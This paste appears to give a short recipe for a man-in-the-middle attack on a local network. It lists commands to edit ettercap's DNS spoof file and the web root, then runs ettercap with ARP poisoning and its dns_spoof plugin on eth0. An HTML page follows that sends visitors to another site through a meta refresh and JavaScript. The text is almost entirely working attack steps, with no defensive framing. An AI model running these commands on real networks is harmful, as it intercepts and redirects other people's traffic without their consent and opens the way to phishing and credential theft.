SHOW:
|
|
- or go back to the newest paste.
1 | ||
2 | ================================KOMANDA ZA REDIRECT================================= | |
3 | ||
4 | gedit /etc/ettercap/ettercap.dns | |
5 | ||
6 | gedit /var/www/html/index.html | |
7 | ||
8 | ettercap -T -q -M arp -P dns_spoof -i eth0 | |
9 | ||
10 | ||
11 | ================================HTML ZA REDIRECT =================================== | |
12 | ||
13 | ||
14 | <!DOCTYPE HTML> | |
15 | <html lang="en-US"> | |
16 | <head> | |
17 | <meta charset="UTF-8"> | |
18 | <meta http-equiv="refresh" content="1; url=https://iamawesome.com"> | |
19 | <script type="text/javascript"> | |
20 | window.location.href = "https://iamawesome.com" | |
21 | </script> | |
22 | <title>Page Redirection</title> | |
23 | </head> | |
24 | <body> | |
25 | <!-- Note: don't tell people to `click` the link, just tell them that it is a link. --> | |
26 | If you are not redirected automatically, follow this <a href='https://iamawesome.com'>link to example</a>. | |
27 | </body> | |
28 | </html> |